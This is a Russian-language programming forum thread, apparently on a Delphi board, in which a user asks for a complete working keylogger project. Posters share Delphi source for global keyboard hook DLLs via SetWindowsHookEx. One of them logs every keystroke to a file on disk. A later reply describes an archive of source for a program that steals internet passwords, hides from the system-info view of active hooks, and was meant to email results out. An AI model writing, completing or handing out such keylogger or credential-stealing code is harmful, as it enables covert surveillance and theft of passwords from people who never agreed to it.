Вы меня извените, что задаю вопрос, который тут уже не раз обсуждался!
Я искал по всему нету хоть один рабочий пример keylog'a, но всё напрасно!
В каждом из примеров есть какой либо глюк, который вывести сложно!
По сему поводу попросил бы вас кинуть в меня хоть какой рабочий пример проги по сабжу. Но тока с формой и всеми делами! Я имею введу весь проект!

Киньте плз туда-> [email protected]

Спасибо!

Вот тут есть один пример, который работает, но он не даёт печатать текст там где надо!

Сами увидите!


library KeyHook;

uses
 shellapi,
 windows;

var
g_hhk: HHOOK;

function KeyboardProc(nCode: Integer; wParam: wParam; lParam: lParam ): LParam; stdcall;
var
f:textfile;
begin
assignfile(f, 'c:\hook.txt');
{try}
 append(f);
{except
 rewrite(f);
end;        }
writeln(f, nCode,',',wParam,',',lParam);
close(f);
end;

exports
KeyboardProc;
begin
end.

unit Unit1;

interface

uses
 Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
 Dialogs, StdCtrls;

type
 TForm1 = class(TForm)
   Button1: TButton;
   procedure Button1Click(Sender: TObject);
 private
   { Private declarations }
 public
   { Public declarations }
 end;

var
 Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.Button1Click(Sender: TObject);
var
 hinstDLL: HINST;
 hkprcKeyboard: TFNHookProc;
 msg: TMsg;
begin
 hinstDLL := LoadLibrary('KeyHook.dll');
 hkprcKeyboard := GetProcAddress(hinstDLL, 'KeyboardProc');
 SetWindowsHookEx(WH_KEYBOARD, hkprcKeyboard, hinstDLL, 0);
end;

end.

А тут что не так?





  {текст библиотеки}
library SendKey;
uses
 WinTypes,
 WinProcs,
 Messages;

const
{пользовательские сообщения}
wm_NextShow_Event = wm_User + 133;
wm_PrevShow_Event = wm_User + 134;
{handle для ловушки}


var
SaveExitProc : Pointer;
HookHandle: hHook;
{собственно ловушка}
function Key_Hook(Code: integer; wParam: word; lParam: Longint): Longint; export;
var f:textfile;
H: HWND;
begin
{если Code> =0, то ловушка может обработать событие}
if Code >= 0 then
begin
  {это те клавиши?}
  if ((wParam = VK_ADD)or(wParam = VK_SUBTRACT)) and (lParam and $40000000 = 0)
  then begin
    {ищем окно по имени класса и по заголовку}
    H := FindWindow('TForm1', 'XXX');
    {посылаем сообщение}
    if wParam = VK_ADD then
       begin
         SendMessage(H, wm_NextShow_Event, 0, 0);
         assignfile(f,'hook.txt');
         rewrite(f);
         writeln(f,code,lparam,wparam);
       end
    else
      SendMessage(H, wm_PrevShow_Event, 0, 0);
  end;
 {если 0, то система должна дальше обработать это событие}
 {если 1 - нет}
 Result:=0;
end
else
  {если Code< 0, то нужно вызвать следующую ловушку}
  Result := CallNextHookEx(HookHandle,Code, wParam, lParam);
end;

{при выгрузке DLL надо снять ловушку}
procedure LocalExitProc; far;
begin
if HookHandle<> 0 then
begin
  UnhookWindowsHookEx(HookHandle);
  ExitProc := SaveExitProc;
end;
end;

exports
 Key_Hook index 1;


{инициализация DLL при загрузке ее в память}
begin
{устанавливаем ловушку}
HookHandle:=SetWindowsHookEx(wh_Keyboard, @Key_Hook, hInstance, 0);
if HookHandle = 0 then
  MessageBox(0, 'Unable to set hook!', 'Error', mb_Ok)
else begin
 SaveExitProc := ExitProc;
 ExitProc := @LocalExitProc;
end;
end.




unit Unit1;
interface
uses
SysUtils,WinTypes,WinProcs,Messages,Classes,Graphics,Controls,Forms,Dialogs,StdCtrls;

{пользовательские сообщения}
const
wm_NextShow_Event = wm_User + 133;
wm_PrevShow_Event = wm_User + 134;

type
 TForm1 = class(TForm)
   Label1: TLabel;
   Edit1: TEdit;
   procedure FormActivate(Sender: TObject);
 private
{обработчики сообщений}
   procedure NextMSG (Var M : TMessage); message wm_NextShow_Event;
   procedure PrevMSG (Var M : TMessage); message wm_PrevShow_Event;
 end;

var Form1:TForm1;
   P:Pointer;
   dll:THandle;

implementation
{$R *.DFM}

{загрузка DLL}
function Key_Hook : Longint; far; external 'SendKey' index 1;

procedure TForm1.NextMSG(Var M : TMessage);
begin
 edit1.text:='Next message';
end;

procedure TForm1.PrevMSG(Var M : TMessage);
begin
 edit1.text:='Previous message';
end;

procedure TForm1.FormActivate(Sender: TObject);
var z:integer;
begin
 {DLL := LoadLibrary('sendKey.dll');
 z:=Key_Hook;
 form1.edit1.text:=inttostr(z)+'dddddddddd';
 {если не использовать вызов процедуры из DLL в программе,
  то компилятор удалит загрузку DLL из программы}
 P:=@Key_Hook;
end;

end.



Форму надо обозвать XXX

Давай я тебе на мыло скину пример.

Если можно, пожалуйста!

Sending ......

[email protected]
Пиши!!!

А мой архивчик не понравился?

Очень понравился!!!!
Просто тему надо поддержать!!!

А что за архивчик?

Нехороший архивчик- исходники проги, "одалживающий" пароль интернет. Я там отправку на мыло до конца не доделал. И ещё: она прячется, когда висит окно с сведениями о системе(там можно увидить активные ловушки)

Мне не интересна ловля паролей!!!! Мне просто нужен модуль для ловли клавиш, причём не только английской раскладки.
Если есть идеи...

павло чего тебе ещё надо яж тебе пример выслал.